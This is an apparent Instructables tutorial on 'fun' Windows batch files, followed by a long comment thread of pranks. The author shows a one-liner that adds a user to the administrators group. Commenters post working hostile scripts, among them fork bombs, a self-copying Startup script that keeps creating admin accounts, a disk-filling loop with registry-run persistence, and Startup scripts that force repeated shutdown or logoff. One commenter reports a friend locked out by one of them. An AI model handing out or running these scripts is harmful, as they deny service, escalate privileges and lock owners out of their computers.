Fun things to do with batch files

ok script kiddies and pros alike, its time for my third instructable. before i start, i wanna tell you guys something. I want to hear what YOU guys would like to see next. if you have a fun idea for a batch file, email it to with batch idea in the subject line. i will pick the very / most legal :P one and post how to make it as an instructable for my 4th. if you leave your instructables name, i'll credit you for concept both in the file and on the instructable itself! _ anyway, now im just gonna show you a few things you can do with some simple (some are even one liners) batch files. NOTE: im not telling you how to use these, some skilled (and maybe unskilled) people might use this for malicious purposes, but that is not the intent. this is for education purposes only. first person to guess what song im listening to gets a cookie ( name and artist >_<)
Remove these adsRemove these ads by Signing Up

Step 1: Fun thing #1

Picture of fun thing #1
this can be more / less fun depending on who / how you use it :D
its a simple one liner:

you type: net localgroup administrators USERNAME /add
you can also use /delete at the end. this makes the username you typed into an admin :O if you use /delete on an admin's username, it makes them a normal user >:O. (see pic)
1-40 of 111Next »

This is funny as shit btw

You can make this start up as soon as someone signs into their account and it will kill their computer slowly and effectively.


start iexplore.exe

start iexplore.exe

goto loop

It says "access denied"

calebhk983 months ago

How cruel would you be to do this

1. @echo off

2. mode 1000

3. copy "%~f0" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"

4. set USERn=1

5. cd %appdata%\Microsoft\Windows\"Start Menu"\Programs\Startup

6. :begin

7. start (this file) evil.bat

8. set USERn= %USERn% + 1

9. NET USER %USERn% %random% /ADD

10. net localgroup administrators %USERn% /add

11. start

12. start


14 start

15. echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%

16. echo You have been hacked.

17. start

3.start (this file) evil.bat

4. goto begin

V1P5 years ago
use this one : The most annoying one that I made when I was in college :) @echo off :lbl start goto lbl Hv Fun >:P !
kerpaul (author)  V1P5 years ago
no offense, but that isn't even a fork bomb :) its just a bit annoying, can easily be ended in taskmanager or just tskill in CMD :D (since the filename is used as the process name as well) :3
V1P kerpaul5 years ago
No offence 2 u mate 2 ! It's just a batch script , having 3 lines of code not a virus, so it can't be a FORK Bomb at all..., but is well enough to annoy you when a hoard of cmd screens pop-up in front of you, which can't be closed by pressing down Alt+F4. also, try switching on your taskmgr after executing this batch script, then I guess that it'll be pretty difficult to even bring up taskmgr at all. & even if it comes up, terminating all the cmd's will be a tedious task. It's just for fun & is not meant to do any harm to anyone... :P Though if you want fork bombs, then those also can be made... but with not 3 lines of code ... :)
kerpaul (author)  V1P5 years ago
i know. but i call it a fork bomb because it split itself into 2 (only in a sense) and forks out, like a fork in the road. :3
V1P kerpaul5 years ago
??????? wht was tht ?
darman12 V1P3 years ago
Meaning the number of windows opening increases at an exponential rate.

Is this a fork bomb?

1. @echo off

2. :begin

3.start (this file) virus.bat

4. goto begin

and add more #3s then you will have a short but efficient fork bomb that windows does not detect because it is only opening a program.

kerpaul (author)  V1P5 years ago
read it again. i won't explain any simpler. -.-
calebhk98 V1P3 months ago

No offense but is this not a fork bomb 1. @echo off

2. :begin

3.start (this file) virus.bat

4. goto begin

This is four lines and it opens itself then repeats with the new file opening itself and so on and so forth. Also you said your line was 3 lines when it is 4.

Thats why you make

@echo off
start tryandclosethis.bat

have fun trying to end task this...
I am not here to spread viruses or damaging forks ! As the title clearly states "fun things to do with batch files" the aim was to create some fun with bat files. If you are looking for damaging stuff I suggest you search some other warez posts on the web - this forum is definitely the wrong one.
noobererer V1P5 years ago
HAHAHAHA I WIN! i figured out how to get out of it without shutting down! i just open the file, then hit ctrl + c rapidly for like 5 secs (idk if its needed) then held ctrl + c and they would pretty much close as fast as they oppen then u just have to exit the first window that popped up (while holding ctrl +c)
V1P noobererer5 years ago
Nice... but after how many tries u did this :) ? But yes anyways, it's just a prank, u can close all the cmd windows if your taskmgr is open. No harm in actual is done with this :) nice go noobererer :)
noobererer V1P5 years ago
second try :P GO ME! lol yeh but no matter who u do this too it will have atleast like 50 windows open before they manage to stop it :P
V1P noobererer4 years ago
hmm ... there are other load of pranks I hv made, will post 'em later on, hv been busy in my stupid daily job :'(
noobererer V1P4 years ago
Sweet! Can't wait to see 'em :)
Ah, but you're wrong there, if it makes a copy of itself and opens the copy of itself. You're system will crash double quick now.......
ghostWolf59 V1P5 years ago
Here's a better one that will turn the most powerful PC into a sluggish 286 as well as filling up the local hard disk :) @echo off echo 0 >> dump.log %0 he, he, he
V1P ghostWolf595 years ago
Nice :)
knex_mepalm V1P4 years ago
what does that do? Looks good, but i'm in no way to test it
indefinite loop that sends out "0" to an ever growing log file
i wanna prank my friend how long would the process take and how would the windows and such work?
if you look closely at the script you'll notice its only sending out one character to the log followed by appending another character to the log (i.e its now two characters) and so on... The time it will take all depends on the size of the hard disk. Also note the if the disk is formatted with fat32 this will only work up to 4Gb. If the hdd is formatted using NTFS the limit is 16Tb. The thing to do is to add this little script to the windows startup of even add a registry entry to the "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run" (Please do NOT hack your registry unless you know exactly what you do - you may damage your system for good) (You can also add a shortcut that minimizes the the terminal window. As some other posts suggested - its really simple to end this task off by hitting CTRL-D so don't expect to much out of this.
lol i told him it was an installation, but how would it show up as? a cmd with 0s?
karmakid732 V1P5 years ago
that ones annoying as hell i just did it on my computer and had to restart it is there any cure besides shutting down
gmackender8 months ago
zacwaterhouse8 months ago
all you need is this trust me its the best it doesnt shit off their computer really it just stopped it and they have to restart trust my try it on your friends
@echo off
goto top

Or this one which shuts the computer down and everytime they go to turn it back on it shuts down after the time you have set. dont worry they can get it off so dont put the time down to low or the computer wont be able to get it off
@echo off
copy "%~f0" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"
shutdown -s -t 100
you can also make it like this
@echo off
copy "%~f0" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"
goto top
you know whats fun?

@echo off
start cmd.exe
goto A

warning put this in a batch file and it will crash/freeze your computer!!!!

@echo off
color 2
echo %random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%%random%
goto matrix

this fun one will make a matrix on your cmd!

x=msgbox("your message here",4+16,"title of error here")

this one will make a fake error message on your computer that cant be closed unless you kill the process with task manager (must save as a .vbs file)

have fun and dont get in too much trouble!!!
For the matrix tricks put "mode 1000" without quotation marks so the matrix takes up the whole screen instead of just a half. Then you actually only have to type 1 line of the %random%'s :D
I would like to share something that will ruin your computer, you will not be able to access your account ever again, (or someone elses'), if you make this batch file and start it.

@echo off
cd %appdata%\Microsoft\Windows\"Start Menu"\Programs\Startup
echo @echo off >> ooo.bat
echo shutdown /l /f >> ooo.bat
start ooo.bat

Use wisely.
hi im hoping that i can get a reply on this..i made a batch file with this and a gave it to a friend and he ran it and now he can't get back onto his computer he says everytime it loads it shuts down i told him to hold shift and log in. he told me he delted the file but the computer restarts every 10 seconds is there a way to reverse the file?
Or you can get onto safemode and just set up a system restore to an earlier time, when your comp was still working.
Yes, start up command prompt and type in this.
del %appdata%\Microsoft\Windows\"Start Menu"\Programs\Startup\ooo.bat
That should fix it.
thanks very much for your help he got it fix ^^
You can access it if you hold shift when you click your username and hold until the account finishes loading and then you can delete the file
Looks like someone tried :P
Not many people know that however, and so, it can be really useful.
1-40 of 111Next »